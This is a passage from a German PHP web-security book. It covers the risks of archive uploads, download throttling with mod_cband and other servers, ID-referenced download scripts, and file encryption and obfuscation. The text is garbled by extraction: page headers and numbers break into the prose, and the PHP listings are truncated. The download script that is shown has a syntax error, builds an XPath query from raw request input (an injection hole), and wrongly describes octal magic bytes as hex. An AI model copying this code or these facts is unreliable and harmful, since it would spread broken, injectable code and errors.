쐽 application/msword 쐽 application/java
– MS-Word
– Kompilierte Javabibliothek
– Binäre Datei (z. B. ein unbekanntes Dateiarchiv oder eine ausführbare Datei)
쐽 application/octet-stream
203
Kapitel 6 Upload und Download 쐽 text/xml
– XML-Datei
쐽 text/html
– HTML oder XHTML
쐽 text/plain 쐽 image/gif
– GIF-Bild
쐽 image/jpeg 쐽 image/png
– JPEG-Bild
– PNG-Bild
쐽 image/tiff 쐽 image/bmp
– Textdatei
– TIFF-Bild
– Windows/OS/2-Bitmap-Bild
6.2.3 Dateiarchive Dateiarchive als zulässiges Upload-Format sind natürlich vorteilhaft, da viele Dateien in einer Transaktion auf einen Server transferiert werden können und dabei sowohl Speicherplatz als auch Übertragungskapazität (und somit auch Zeit beim Upload) gespart werden kann. Es entstehen bei Archiven jedoch drei Probleme: 1. In einem Archiv kann jedwede Datei transportiert werden. Um nur legitime Dateien zuzulassen, muss also jedes Archiv von einem Upload-Skript mit PHP entpackt werden, damit jede einzelne Datei auf ihren Typ hin überprüft werden kann. Dieses Verfahren ist zeitaufwändig und kann bei entsprechend großen Archiven auch einen Skriptabbruch auslösen, wenn die max_execution_time (php.ini) überschritten wird. 2. Jedwedes Archiv hat einen Angriffspunkt: Rekursion. Ein Archiv, das lediglich 10.000 Ebenen von verschachtelten Verzeichnissen hat, ist selbst nicht sehr groß. Wird diese Datei jedoch in ihrer vollen Rekursion entpackt, so kann dies unter Umständen dazu führen, dass eine Festplatte als voll gilt, da die maximale Anzahl an zulässigen Dateien (oder unter Unix/Linux: Inodes) erreicht ist. 3. Ein Archiv, das eine Milliarde Mal das Zeichen 0 in einer einzelnen Datei enthält, ist nur wenige Kilobyte groß, zum Entpacken ist jedoch 1 GB Speicherplatz erforderlich (ganz abgesehen davon, dass das Schreiben dieser Datei viel Zeit in Anspruch nimmt). Das dritte Symptom lässt sich innerhalb eines PHP-Skriptes lediglich bei Zip- und Rar-Archiven verhindern: Mit den Funktionen zip_entry_filesize() bzw. getUnpackedSize() einer Instanz der Klasse Rar lässt sich die unkomprimierte Größe einer gepackten Datei ermitteln. Dieser Lösungsansatz ist jedoch mit Vorsicht zu genießen, da es dafür eventuell möglich sein kann, dass ein Teil des gesamten Archivs entpackt wird. Für gzip-Archive steht eine solche Funktionalität nicht zur Verfügung.
204
6.3 Download und PHP
Punkt eins lässt sich natürlich durch ein Entpacken des jeweiligen Archivs und ein rekursives Überprüfen jeder Datei lösen, wobei auch dabei die Gefahr entsteht, dass man während des Entpackens einer Rekursion unterliegt. Die beiden Hauptprobleme mit Dateiarchiven lassen sich nur durch einen guten Virenscanner beheben, der idealerweise das Verzeichnis überwacht, in das PHP die temporär hochgeladenen Dateien schreibt. Empfehlenswert als OpenSource-Variante ist dafür ClamAV (http://www.clamav.net).
6.3
Download und PHP
Downloads werden leider sehr oft in PHP-Anwendungen – oder vielmehr auf Webseiten generell – genauso lax gehandhabt wie Uploads, wobei sich bei Downloads natürlich auch Gefahren abzeichnen, auch wenn diese wahrscheinlich nicht ganz so fatale Auswirkungen haben. Das unvorsichtige Bereitstellen von Downloads kann mehrere Probleme bereiten: 쐽
Durch viele, parallel ausgeführte Downloads wird sowohl der Arbeitsspeicher als auch die Netzwerkkapazität des Webservers stark ausgelastet; der Server ist dann für andere Anfragen eventuell nicht erreichbar.
쐽
Durch viele Downloads werden eventuell freie Volumenkontingente beim Provider verbraucht. Für Datenmengen, die über diese Freimengen hinausgehen, ist eventuell eine Nachzahlung fällig.
쐽
Direkte Downloads können von Suchmaschinen indiziert werden. Es ist nachträglich nicht mehr möglich festzustellen, wer welche Datei heruntergeladen hat.
Hinweis Am Ende dieses Abschnitts finden Sie ein Beispiel, das sowohl Throttling als auch Download-Referenzierung benutzt.
6.3.1 Throttling Um sowohl die Auslastung der Netzwerkbandbreite als auch die Auslastung des Arbeitsspeichers zu reduzieren, empfiehlt sich der Einsatz eines ThrottlingModuls. Dabei gibt es auch hier zwei Konzepte: Im einfacheren wird die Limitierung lediglich auf einen Server angewendet, im komplexeren kommen mehrere Server zum Einsatz, wie bereits bei den Uploads in Abschnitt Dedizierte Upload-Server auf Seite 190 beschrieben. Dabei werden diese Server erneut mit einem Round-Robin-DNSEintrag versehen, dies verteilt die Last zusätzlich zum Throttling.
205
Kapitel 6 Upload und Download
Apache-Webserver: mod_cband
Für den Apache-Webserver gibt es kein originäres Throttling-Modul, eine sehr gute freie Entwicklung außerhalb des Apache-Projekts ist das Modul mod_cband (http://cband.linux.pl/). Mit diesem kann nicht nur die Übertragungsrate pro Client, sondern auch die Gesamtdatenmenge, die etwa pro Monat downloadbar sein soll, festgelegt werden. Zusätzlich lässt sich auch noch die maximale Anzahl aktueller Verbindungen innerhalb eines VirtualHost definieren.
Hinweis Auch wenn die Begrenzung der Datenrate und der maximal möglichen Verbindungen sehr gut klingt: Dieses Modul lässt sich nur für Downloads verwenden, für Uploads ist es ungeeignet. Es gibt allerdings einen entscheidenden Nachteil dieses Moduls: Es steht nicht für jedes Betriebssystem zur Verfügung. Folgende Plattformen stehen zur Auswahl: 쐽
Sourcen für Linux, Unix, FreeBSD und Mac OS X (Darwin)
Nach dem Download ist die Übersetzung der Quelldateien relativ einfach; configure erwartet lediglich die Angabe von apxs: ./configure –with-apxs=/usr/local/apache2/bin/apxs make make install [als Superuser]
Hinweis Es kann auch ohne die Angabe von apxs kompiliert werden, dann jedoch muss das übersetzte Modul (z.B. mod_cband.so) manuell in das modules-Verzeichnis der Apache-Installation kopiert und mittels LoadModule cband_module modules/ mod_cband.so innerhalb der Webserver-Konfiguration geladen werden. Um die Performance des Moduls zu steigern, sollten folgende zwei Zeilen in die globale Apache-Konfiguration übernommen werden: CBandScoreFlushPeriod 10 CBandRandomPulse On
CBandScoreFlushPeriod soll dabei die Performance des Moduls selbst beeinflus-
sen: Es legt fest, nach wie vielen Anfragen die Daten auf dem Webserver zwischengespeichert werden (damit sie auch nach einem Neustart wieder zur Verfügung
206
6.3 Download und PHP
stehen). CBandRandomPulse verbessert dabei ebenfalls das Verhalten: Damit wird eine zufällige Periode zur Messung der verwendeten Bandbreite genutzt. Dies soll verhindern, dass mod_cband die Auslastung aufgrund einer zeitlich begrenzten Lastspitze falsch bewertet. Die Limitierungen der Bandbreite werden pro VirtualHost festgelegt; es ist also zwingend erforderlich, einen VirtualHost innerhalb der Konfiguration anzulegen, auch wenn keinerlei andere Webseiten und -anwendungen von diesem Apache-Webserver bereitgestellt werden. Innerhalb des Blocks sollten zumindest folgende zwei Anweisungen stehen: … CBandSpeed 250kb/s 10 30 CBandRemoteSpeed 25kb/s 3 3
CBandSpeed gibt das Maximum für den gesamten virtuellen Host an, während CBandRemoteSpeed die Grenzen für einen einzelnen Client spezifiziert. Die drei
Parameter sind: 쐽
Maximal zur Verfügung stehende Bandbreite (alternative Einheiten sind z.B. Mb/s und Gb/s)
쐽
Maximale Anzahl aktiver Verbindungen, auf denen aktiv eine Übertragung stattfindet
쐽
Maximale Anzahl geöffneter Verbindungen (dazu zählen auch Verbindungen, auf denen momentan kein Datentransfer stattfindet, da diese nur aufgrund einer Keep-Alive-Einstellung offen gehalten werden)
Hinweis Mit der Direktive CBandDefaultExceededURL kann eine URL festgelegt werden, zu der alle Benutzer umgeleitet werden, wenn eine der definierten Grenzen (Gesamtbandbreite, Verbindungsanzahl) erreicht wird. Im oben genannten Beispiel wird eine Übertragung für einen Client auf insgesamt 25 Kb/s limitiert (auch wenn die Übertragung schneller stattfinden könnte). Dabei werden alle Verbindungen desselben Clients aufaddiert, der Client selbst darf zur selben Zeit nur drei Verbindungen zeitgleich aufbauen. Auf der anderen Seite wird ein Client abgewiesen, wenn alle aktiven Clients des VirtualHost bereits eine Bandbreite von 250 Kb/s beanspruchen.
207
Kapitel 6 Upload und Download
Mit mod_cband lässt sich auch die Menge begrenzen, die innerhalb eines bestimmten Zeitraums heruntergeladen werden kann. Dazu sind weitere Werte innerhalb des VirtualHost-Blockes notwendig: … CBandScoreBoard /www/myhost/cband.score CBandPeriod 30D CBandLimit 2G CBandExceededURL http://www.testdomain.net/limit_reached.html
CBandScoreBoard muss ein Pfad sein, auf den der Webserver schreibend zugreifen kann. Hier werden die Transferinformationen von mod_cband gespeichert, so dass die Beschränkungen auch über einen Neustart des Webservers hinaus beachtet werden.
Nach der in CBandPeriod angegebenen Zeit werden die Werte zurückgesetzt, dabei stehen verschiedene Intervalle zur Auswahl: 쐽 S – Sekunden (Standard) 쐽 M – Minunten 쐽 H – Stunden 쐽 D – Tage 쐽 W – Wochen
Mit CBandLimit wird schließlich die Datenmenge festgelegt, die im spezifizierten Zeitraum nicht überschritten werden darf. Mögliche Einheiten: 쐽 K – 1.000 Bytes 쐽 Ki – 1.024 Bytes 쐽 M – 1.000.000 Bytes 쐽 Mi – 1.048.576 Bytes (1.024 Ki) 쐽 G – 1.000.000.000 Bytes 쐽 Gi – 1.073.741.824 Bytes (1.024 Mi)
Das Modul kann natürlich auch in eine Multi-Serverumgebung eingepasst werden. Für das Entlasten der Webanwendung von Downloads empfiehlt es sich, mindestens drei Server zu betreiben:
208
6.3 Download und PHP 쐽
Einen Webserver, auf dem die Webanwendung untergebracht ist
쐽
Zwei Download-Server an die die Download-Anfragen weitergeleitet werden
Allerdings sollten die Download-Dateien selbst innerhalb einer Datenbank oder auf dem Webserver oder einem externen Medium gespeichert sein, um Redundanzen (doppelte Datenhaltung durch Speicherung aller entsprechenden Dateien auf beiden Download-Servern) zu vermeiden.
Hinweis Wie bei den dedizierten Upload-Servern gilt hier: Die sicherste und effektivste Lösung wäre ein professionelles Clustering. Die Download-Server können die herunterzuladenden Dateien entweder per FTP oder über eine Datenbank zur Auslieferung beziehen. Befinden sich alle drei Server im gleichen Netzwerk, ist dieser Transfer vom Webserver zum jeweiligen Download-Server wesentlich schneller als vom Server zum Client, womit der Webserver entlastet wird und lediglich der Download-Server mit Client-Verbindungen belastet wird. Kommt es dort zu einem Ausfall, kann der Rest der Webseite ohne größere Ausfälle weiter betrieben werden. Um die Last weitgehend gleichmäßig auf die zwei Download-Server zu verteilen, sollte wie beim Upload-Multi-Server-Konzept, ein DNS-Eintrag mit Round-Robin verwendet werden. Eine DNS-Zone kann also etwa so aussehen: www
A
100.100.100.1
download
A
100.100.100.5
download
A
100.100.100.6
Dabei werden alle Downloads über die Download-Server abgewickelt; jede Anfrage nach dieser Subdomain bekommt dabei eine andere IP zurückgeliefert, so dass Clients sich auf diese zwei Server verteilen. Zusätzlich zu dieser Verteilung greift nun noch das mod_cband-Modul. Roxen Webserver: baseline_throttling
Mit dem Roxen Webserver werden bereits mehrere Throttling-Module mitgeliefert. Das Basis-Modul ist baseline_throttling, dessen Einstellungen jedoch durch spezifischere Module (etwa throttling_time oder throttling_user) für einen individuelleren Fall überschrieben werden können. Im Gegensatz zu mod_cband (Apache) gibt es mit den Roxen-Modulen allerdings keine Möglichkeit, das gesamte Übertragungsvolumen innerhalb des Zeitraums zu
209
Kapitel 6 Upload und Download
begrenzen. Es kann lediglich die Übertragungsrate pro Client festgelegt werden (es kann auch keine Obergrenze für eine Site erstellt werden). Im Settings-Dialog des baseline_throttling-Moduls wird dafür die Übertragungsrate in Bytes pro Sekunde definiert, die Standardvorgabe ist 10240, was 10 Kb/s entspricht. Natürlich lässt sich dieses Modul auch in eine Multi-Server-Umgebung zur weiteren Lastverteilung integrieren. Beachten Sie hierzu die Hinweise im Abschnitt Apache-Webserver: mod_cband auf Seite 206. IIS: Throttling
Mit dem IIS 6.0 ist es möglich, eine Bandbreitenbeschränkung festzulegen. Diese muss dazu global über die Registerkarte LEISTUNG des Servers aktiviert werden. Danach lässt sich die zur Verfügung stehende Bandbreite global pro Website oder individuell für jede Website begrenzen, es besteht allerdings keine Möglichkeit, die Bandbreite pro Verbindung oder Benutzer einzuschränken.
6.3.2 Referenzierung Bei Downloads ist es sehr wichtig, diese zu kontrollieren. So soll sichergestellt werden, dass keine automatischen Tools einen Download starten, denn selbst bei aktiviertem Throttling kann das schädlich sein: Lasten automatisch verursachte Downloads die Leitung soweit aus, dass die Bandbreitengrenzen erreicht sind, so werden keine von »normalen« Benutzern angeforderten Downloads mehr ermöglicht. Natürlich stellen Suchmaschinen für eine geordnete Kontrolle von Downloads eine Gefahr dar: Werden Downloads direkt aus Suchmaschinen heraus indiziert, lässt sich nachher schlecht verfolgen, wie jemand auf diesen Download gekommen ist, ein Usertracking wird erschwert. Um diesen Problematiken zu entgehen, hilft nur eine Kombination aus referenzierten Downloads und der Freigabe eines Downloads mittels eines CAPTCHAs. Direkte Downloads sind »schlecht«: Suchmaschinen können direkt auf sie verweisen und man kann sie nur mit hohem Konfigurationsaufwand und einigen Tricks (etwa URL-Rewriting) durch CAPTCHAs vor missbräuchlichem Download absichern. Aus diesem Grund darf auf die Dateien, die heruntergeladen werden sollen, nicht direkt verwiesen werden; sie dürfen außerdem von außen nicht zugreifbar sein. Vielmehr ist es notwendig, dass ein PHP-Skript diese Dateien ausliest und sie dann als Stream an den Client sendet. Bei solchen Systemen werden die Dateien meist in irgendeiner Weise indiziert, so dass auch ein Dateiname in Download-Links nicht mehr verwendet werden muss, sondern ein Download lediglich über eine Nummer identifiziert wird. Als Basis
210
6.3 Download und PHP
kann hier entweder eine Text- oder XML-Datei oder eine Datenbank verwendet werden. Bei einer Indizierung ist allerdings ein feststehendes Verzeichnis Pflicht, denn nur so kann garantiert werden, dass ein Client auch die Datei geliefert bekommt, die er angefordert hat. Dies funktioniert nicht bei einem dynamischen System, das beispielsweise alle Dateien in einem Verzeichnis vorsortiert und dann jedem Eintrag bei Eins beginnend eine Nummer vergibt: Wenn ein Client eine Datei mit einer ID anfordert, die vor wenigen Minuten vergeben wurde, und inzwischen Dateien aus dem Verzeichnis gelöscht oder neue hinzugefügt wurden, »gehört« die ID unter Umständen nicht mehr zur gewünschten Datei. Eine solche Indizierung muss also konsistent bleiben; wird eine Datei gelöscht, darf dies die anderen Einträge nicht beeinflussen. Eine solche Liste – sei sie nun in einer Datenbank oder in einer XML-Datei zu finden – erfordert allerdings, dass jede Veränderung am entsprechenden Quellverzeichnis (vorausgesetzt, alle Download-Dateien werden in einem einzelnen Verzeichnis abgelegt) eine Aktion für die Indizierung nach sich zieht. Dies kann man per Skript oder von Hand machen – eine automatisierte Methode ist jedoch noch um einiges besser, da hier nichts vergessen werden kann. Vor allem, wenn das Download-Verzeichnis stetigen Änderungen unterliegt, etwa weil hier auch die Uploads von Benutzern platziert werden, die wiederum von anderen Usern heruntergeladen werden dürfen, ist ein von der Webanwendung losgelöstes Tool sehr vorteilhaft. Hier kommt PHP zugute, dass es eine eigenständige Interpretersprache ist, also auch ohne Webserver gestartet werden kann. Ein Skript, das ein Verzeichnis auf neue Dateien überwacht, könnte so aussehen: load("files.xml")) { $xmlroot = $xmldoc->appendChild(new DOMElement("root")); $xmlroot->setAttribute("maxid", "0"); }else $xmlroot = $xmldoc->getElementsByTagName("root")->item(0); while(true) { sleep(5); $xpath = new DOMXPath($xmldoc); $newfiles = array(); $oldfiles = array(); $files = scandir("files/"); foreach($files as $file) {
Dieses Skript lädt dabei die Datei files.xml, die die Zuordnung von IDs zu Dateinamen beinhaltet, in einen DOM-Baum (Document Object Modell, ein XML-Dokument wird dabei in verschiedene Elemente, die wiederum wieder untergeordnete Elemente enthalten können, aufgeteilt). Sofern die Datei noch nicht existiert, wird sie erzeugt. Das Basiselement dieser Datei trägt dabei den Namen root und es besitzt das Attribut maxid – dort wird einfach gespeichert, welche ID zuletzt vergeben wurde. Jede neue Datei wird nun die ID inkrementieren. So ist sichergestellt, dass eine ID nicht doppelt und eine ID einer zwischenzeitlich gelöschten Datei nicht erneut vergeben wird. Danach wird das Skript alle Verzeichniseinträge (also alle Dateien und Verzeichnisse innerhalb des Verzeichnisses) des Unterordners files einlesen, um diese Liste dann abzuarbeiten. Sofern es sich um eine Datei handelt – Unterverzeichnisse und die damit verbundene Rekursion wird vom Skript in dieser Ausführung nicht unterstützt – wird der Eintrag in das Array $newfiles übernommen, das lediglich alle gültigen Dateien aus dem Verzeichnis enthält. Schließlich werden noch alle in der XML-Datei bzw. im DOM-Baum vorhandenen Dateieinträge ausgelesen. Jede Datei wird dabei durch ein Tag repräsentiert. Alle so bereits indizierten Dateien werden im Array $oldfiles abgelegt. Die nächsten zwei Schritte beschäftigen sich mit der Synchronisation der Daten: Dateien, die zwar in $oldfiles vorhanden (also in der XML-Datei), aber in $newfiles nicht auffindbar sind (also auch physikalisch im Verzeichnis nicht mehr existieren), werden aus der Liste entfernt. Da sich in $oldfiles jedoch nur die Dateinamen selbst wiederfinden, wird das zugehörige Element mit der XPathAbfrage "//file[@name=\"".$oldfiles[$i]. "\"]") gesucht. XPath ist eine Abfragesprache für XML-Daten. Damit ist es möglich, Elemente zu finden, die bestimmten Kriterien entsprechen. Die hier verwendete Bedingung hat zur Folge, dass auf allen Ebenen des XML-Baums ("//") nach Elementen mit dem Namen file gesucht wird, die ein Attribut name besitzen, dessen Wert dem Inhalt von $oldfiles[$i] entsprechen. Die gefundenen Elemente werden dabei zurückgegeben. Wird dieses Objekt schließlich der removeChild()-Funktion der DOMDocument-Instanz übergeben, so wird dieses Element aus dem XML-Baum gelöscht. Danach werden Dateien, die zwar im Verzeichnis, nicht jedoch in der XML-Struktur vorhanden sind (es handelt sich also um neue Dateien), noch indiziert. Dafür wird zuerst der Wert des Attributs maxid des Wurzelelements ermittelt (mittels der getAttribute()-Funktion. Dieser Wert wird nun für jede neue Datei inkrementiert; jeder so hinzuzufügenden Datei wird ein neues XML-Element zugeordnet, das vorher mit createElement() angelegt, mit den Attributen name (Dateiname) und id (ID für die Download-Referenzierung) versehen und schließlich in den XML-Baum eingefügt wird.
213
Kapitel 6 Upload und Download
Abschließend wird noch das maxid-Attribut auf den neuen Wert – der sich durch neue Dateien ergeben hat – geändert und der XML-Baum schließlich in die XMLDatei geschrieben. Gestartet wird dieses Skript unter Linux z.B. mit: /usr/local/php/bin/php /www/filechecker.php
Dieses Skript prüft alle fünf Sekunden auf neue und gelöschte Dateien. Jede neue Datei erhält dabei eine ID, über die später der Download referenziert wird. Wichtig hierbei ist, dass die Lücken, die durch das Löschen von Dateien entstehen, nicht wieder gefüllt werden. Die Download-Links müssen zudem angepasst werden. Sie dürfen jetzt nicht mehr auf die Datei selbst verweisen, sondern müssen als Ziel ein PHP-Skript haben, das die ID auswertet und die richtige Datei an den Client übermittelt. Das Skript kann in etwa so aussehen: load("files.xml")) die (“Service not available!”); $xpath = new DOMXPath($xmldoc); if(isset($_REQUEST["id"] && intval($_REQUEST["id"])>0) { $files = $xpath->query("//files[@id=\"".$_REQUEST["id"]."\"]"); if($files->length==0 || !file_exists("files/".$files->item(0)->getAttribute("name"))) die("File not found"); else { $info = new finfo("/www/mime.magic"); $ftype = $info->file("files".$files->item(0)->getAttribute("name")); Header("Content-type: $ftype"); Header("Content-Disposition: attachment; filename=". $files->item(0)->getAttribute("name")); readfile("files/".$files->item(0)->getAttribute("name")); } } else { ?>
214
6.3 Download und PHP
Downloads Files:
query("//files"); foreach($files as $file) { echo "
Dieses Skript funktioniert nur, sofern die Referenzdatei files.xml vorhanden ist. Ohne eine Zuordnung von Download-IDs zu tatsächlichen Dateien ergäbe sich auch keine Funktion für dieses Skript. Wurde zum Aufruf auch eine ID über den Parameter id übergeben, soll eine Datei mit dieser ID heruntergeladen werden. Dafür ist es notwendig, dass die XML-Datei in eine DOMDocument-Instanz und somit einen DOM-Baum eingelesen wird und mit der XPath-Syntax "//files[@id=\"".$_REQUEST["id"]."\"]" gezielt nach der Datei mit dieser ID gesucht wird. Sofern sie gefunden wurde, also ein Eintrag dafür in der XML-Datei existiert, wird das Skript zuerst prüfen, ob die Datei tatsächlich auf dem Server existiert. Es ist durchaus möglich, dass die Datei zwischenzeitlich gelöscht, das Indizierungsskript aber noch nicht erneut ausgeführt wurde. Ist die Datei vorhanden, so wird mittels fileinfo der Dateityp dieser Datei ermittelt, der anschließend als Header-Information vom Typ Content-Type an den Client übermittelt wird (daran soll die clientseitige Information entscheiden, wie mit dieser Datei umgegangen werden soll). Abschließend wird nur noch der Dateiinhalt mittels readfile() an den Client gesendet.
215
Kapitel 6 Upload und Download
Wurde keine ID übergeben, soll noch kein aktiver Download gestartet werden. In diesem Fall gibt das Skript lediglich eine Liste von Links aus, über die jede einzelne Datei ausgegeben werden kann. Dafür ist eine XPath-Abfrage mit der Syntax "//files" notwendig: Es werden alle Elemente mit dem Namen files zurückgegeben. Jedes dieser Elemente kann dann seine eigenen Attribute zur Verwendung in der Linkliste zurückgeben. Durch diese Technik können Dateien nicht mehr direkt heruntergeladen werden. Selbstverständlich kann ein solches Skript noch durch andere Sicherheitsmechanismen wie etwa einem Login oder CAPTCHAs abgesichert werden. Zudem ist es hiermit einfacher möglich, nicht mehr vorhandene, aber oft angeforderte Dateien zu identifizieren: Wird eine Download-ID übergeben, die in der zugrundeliegenden Datenbasis nicht mehr vorhanden ist, könnte dem Webmaster beispielsweise eine E-Mail zugehen. Allerdings ist ein Skript dieser Art noch keine Lösungsmöglichkeit, um DownloadFlooding einzudämmen – auch referenzierte Downloads können massenhaft angefordert werden. Hierzu müssen noch andere Techniken ergänzend angewendet werden (z.B. Throttling und CAPTCHAs).
216
Kapitel 7
Dateisystemzugriffe Eine Webanwendung wird immer wieder auf die verschiedensten Daten zugreifen müssen; sie kann nicht nur in ihrer eigenen Welt bestehen, denn erst Metadaten machen eine Website zu einer sinnvollen Applikation. Weit verbreitet ist das Speichern von Daten aus PHP heraus in einer Datenbank; dies ist grundsätzlich sicherer und effektiver als ein Dateisystemzugriff. Manchmal ist es jedoch wünschenswert oder erforderlich, Daten direkt als Dateien vorzuhalten. Wie PHP auf Dateien zugreift und wie man am besten damit umgeht, soll in diesem Kapitel geschildert werden.
7.1
Wie greift PHP auf Dateien zu?
PHP greift grundsätzlich auf lokale Dateien zu, wie alle anderen Dienste und Anwendungen auch. Dies ist vor allem im Kontext eines Webservers eine gern vergessene Tatsache. Allerdings greifen hier verschiedene Faktoren, die einen Zugriff mit der einen oder anderen Funktion beschränken oder gar verbieten. Wird in PHP eine lokale Datei geöffnet, findet diese Transaktion direkt zwischen PHP und dem Betriebssystem statt. Ein Webserver oder eine andere Umgebung, in der der PHP-Interpreter gestartet wurde, werden hierbei nicht berücksichtigt. Dies klingt selbstverständlich, doch bei Überlegungen zu .htaccess (Apache) und ähnlichen Zugriffsschutzmodellen sorgt diese Tatsache für Verwirrung. Ein Dateisystemzugriff von PHP kann also immer dann erfolgreich sein, wenn die Berechtigungen auf Betriebssystemebene dies zulassen. Ein Zugriffsverbot, das via .htaccess konfiguriert wurde, hat darauf keinen Einfluss.
Hinweis .htaccess kann lediglich den Zugriff von außen – über eine Verbindung zum jeweiligen Webserver – beeinflussen.
Dieser betriebssystemgestützte Zugriff birgt allerdings auch Gefahren. Diese bestehen vor allem in einer shared-hosting-Umgebung, auf einem Webserver, denn jeder PHP-Zugriff erfolgt mit den Benutzerrechten des Webservers. Dies hat zur Folge dass jeder Dateizugriff von PHP mit eben den gleichen Rechten durchgeführt wird – es gibt keine Unterscheidung zwischen verschiedenen Webanwendun-
Kapitel 7 Dateisystemzugriffe
gen. Soweit ein Pfad bekannt ist, kann ein Skript des Kunden B auf die Dateien des Kunden A zugreifen, es sei denn, der Zugriff wird in irgendeiner Weise – etwa mit der Konfigurations-Direktive open_basedir (siehe Abschnitt 9.3 Basisverzeichnis mit open_basedir auf Seite 283) – beschränkt. Hier steht nicht nur der Zugriff auf die oben erwähnten Metadaten (also Bild- oder Textdateien wie etwa Fotos oder Gästebüchereinträge) offen, sondern auch auf die PHP-Skripte. Werden diese als Datei geöffnet, werden sie vom PHP-Interpreter nicht geparst und so steht dem Angreifer der Quelltext inklusive eventuell notierter Datenbank- und anderer Passwörter zur Verfügung. Ein unberechtigter Zugriff lässt sich direkt durch PHP nur kaum beschränken oder gar verhindern. Das Auslesen von Metadateien lässt sich unter solchen Umständen nur durch zwei generelle Methoden unterbinden: 쐽
Verschlüsselung
쐽
Verschleierung
7.1.1
Verschlüsselung
Eine Verschlüsselung kann unter PHP mit der mcrypt-Bibliothek erfolgen. Für Linux muss dazu auf dem System die libmcrypt-Bibliothek ab Version 2.5.6 vorhanden sein (mit Version 2.4.x stehen einige Funktionen und Verschlüsselungsalgorythmen nicht zur Verfügung). Die URL lautet: http://mcrypt.sourceforge.net.
Wichtig Neben einer libmcrypt-Installation muss PHP zusätzlich mit dem configureParameter –with-mcrypt übersetzt werden. Für Windows finden sich die libmcrypt-Binaries unter http://ftp.emini.dk/pub/php/win32/mcrypt/. Eine Funktion, die eine Datei als solche verschlüsselt, kann etwa so aussehen:
218
Unter mcrypt stehen neben dem hier verwendeten Blowfish noch viele andere Verschlüsselungsalgorithmen zur Verfügung, eine vollständige Liste findet sich in der PHP-Dokumentation.
Wichtig Welche Verschlüsselungstechniken auf dem jeweiligen Server allerdings tatsächlich verfügbar sind, entnehmen Sie bitte der mcrypt-Ausgabe des phpinfo()Befehls! Mit mcrypt_create_iv() wird der zufällige Startvektor für die Verschlüsselung erzeugt; ein zufälliger Startvektor verringert die Voraussagbarkeit der Verschlüsselung erheblich, denn theoretisch lässt sich bei bekanntem Startvektor und Verschlüsselungsverfahren mit begrenzten Mitteln der Schlüssel bzw. die ursprüngliche Datenmenge ermitteln. Zur Erzeugung dieses Vektors wird im Beispiel MCRYPT_DEV_URANDOM verwendet; mit dieser Konstanten wird auf das Device /dev/urandom zurückgegriffen. Dies ist die Alternative zu /dev/random, welches zufällige Daten anhand von Hintergrundrauschen von Hardware erzeugt wird. /dev/urandom erzeugt allerdings einen Hash über dieses Rauschen, was die Zufälligkeit der Daten weiter erhöhen soll. Unter Windows steht allerdings lediglich MCRYPT_RAND zur Verfügung, dies ist eine mcrypt-interne Methode zur Erzeugung von Zufallsdaten (unter Windows steht weder /dev/random noch /dev/urandom zur Verfügung). Wie für jede Verschlüsselung gilt auch hier: Die Datensicherheit steht und fällt mit der Qualität des Schlüssels und seiner Länge. Der Schlüssel sollte besonders komplex (schwer erratbare Kombination, Sonderzeichen) und lang sein. Kurze Schlüssel sind verhältnismäßig leicht zu »knacken«. Eine mit mcrypt verschlüsselte Datei und unter gleichem Dateinamen überschriebene Datei hat mehrere Merkmale, die die Sicherheit des Dateiinhalts wesentlich erhöhen: 쐽
Es ist von außen nicht ersichtlich, dass die Daten verschlüsselt wurden.
쐽
Mit Funktionen wie etwa fileinfo lässt sich nicht mehr feststellen, von welchem Typ die gespeicherten Daten sind.
쐽
Ohne Anhaltspunkte lässt sich nicht ohne Weiteres auf das Verschlüsselungsverfahren schließen.
219
Kapitel 7 Dateisystemzugriffe
7.1.2 Verschleierung Der Dateiinhalt lässt sich weiter verschleiern, indem falsche Daten vorgetäuscht werden. Diese Veränderung der Daten kann auf mehreren Stufen stattfinden. Ein erster Ansatzpunkt ist das Ändern der Dateiendung. Wird eine Zip-Datei mit dem Suffix .bmp abgespeichert, wird ein Angreifer eventuell versuchen, diese Datei als Bilddatei zu öffnen (sei es nun mit PHP selbst oder nach dem Herunterladen mit einem Bildbearbeitungsprogramm) und daran scheitern, da das Format nicht den erwarteten Daten entspricht. Diese Täuschung ist lediglich ein erster Schritt und wird einen wirklich ambitionierten Angreifer nicht davon abhalten, an die tatsächlichen Nutzdaten zu gelangen. Es gibt viele Tools, mit denen ein Dateityp anhand des Dateiinhaltes festgestellt werden kann (siehe Kapitel 6, Prüfen von Bilddateien). Es gibt jedoch eine relativ einfache und dennoch effektive Methode, um dies zu erschweren: Mit einem eigenem, den Nutzdaten vorangestellten Datei-Header kann man die Erkennung der Daten anhand des Inhaltes verhindern. Das ganze funktioniert so gut, da jede Inhaltserkennung davon ausgeht, dass bestimmte Bytes innerhalb einer Datei einen bestimmten Wert haben müssen, damit sie einem Typ entsprechen. In der mime.magic-Datei ist für das Doc-Format (Microsoft Word-Dokument) beispielsweise vermerkt: 0 string\376\067\0\043 application/msword
Eine Datei dieses Typs muss danach beginnend bei Byte 0 (also dem ersten Byte) die Zeichenkette aus den hexadezimalen Zeichen 0x376, 0x67, 0x0 und 0x43 haben. Wird die Datei nicht verschlüsselt, aber zumindest ein eigener Header vor die eigentlichen Daten geschrieben, ist dieser String zwar weiter in der Datei enthalten, jedoch nicht an der erwarteten Stelle im Datenstream. Wer das nicht weiß, hat bereits erhebliche Probleme, den Datentyp zu erkennen; ist dieses Wissen jedoch bekannt, kann der Header entfernt werden und die Daten stehen ohne Probleme zur Verfügung. So ein Dateikopf sollte dabei möglichst zufällige Daten enthalten, damit darin kein Muster erkannt werden kann. Zwei Möglichkeiten kommen grundsätzlich in Betracht:
220
쐽
Dateikopf gleicher Länge, nur mit Zufallsdaten gefüllt.
쐽
Dateikopf variabler Länge, bei dem in einem Byte die Länge vermerkt ist. Alle anderen Bytes entsprechen Zufallsdaten. Hier sollte allerdings die Länge nicht unbedingt im ersten Byte zu finden sein, da dies eine zu offensichtliche Technik ist. Und natürlich sollte es eine Mindestlänge geben, der Kopf sollte nicht kürzer als zehn Bytes sein, damit eine Verschleierung gewährleistet ist.
7.1 Wie greift PHP auf Dateien zu?
Hier finden Sie eine kleine Funktionalität, die einen variablen Dateiheader vor eine Datei schreibt und die die gleiche Datei auch wieder »dekodiert«, indem die originäre Datei im temporären Verzeichnis abgelegt wird:
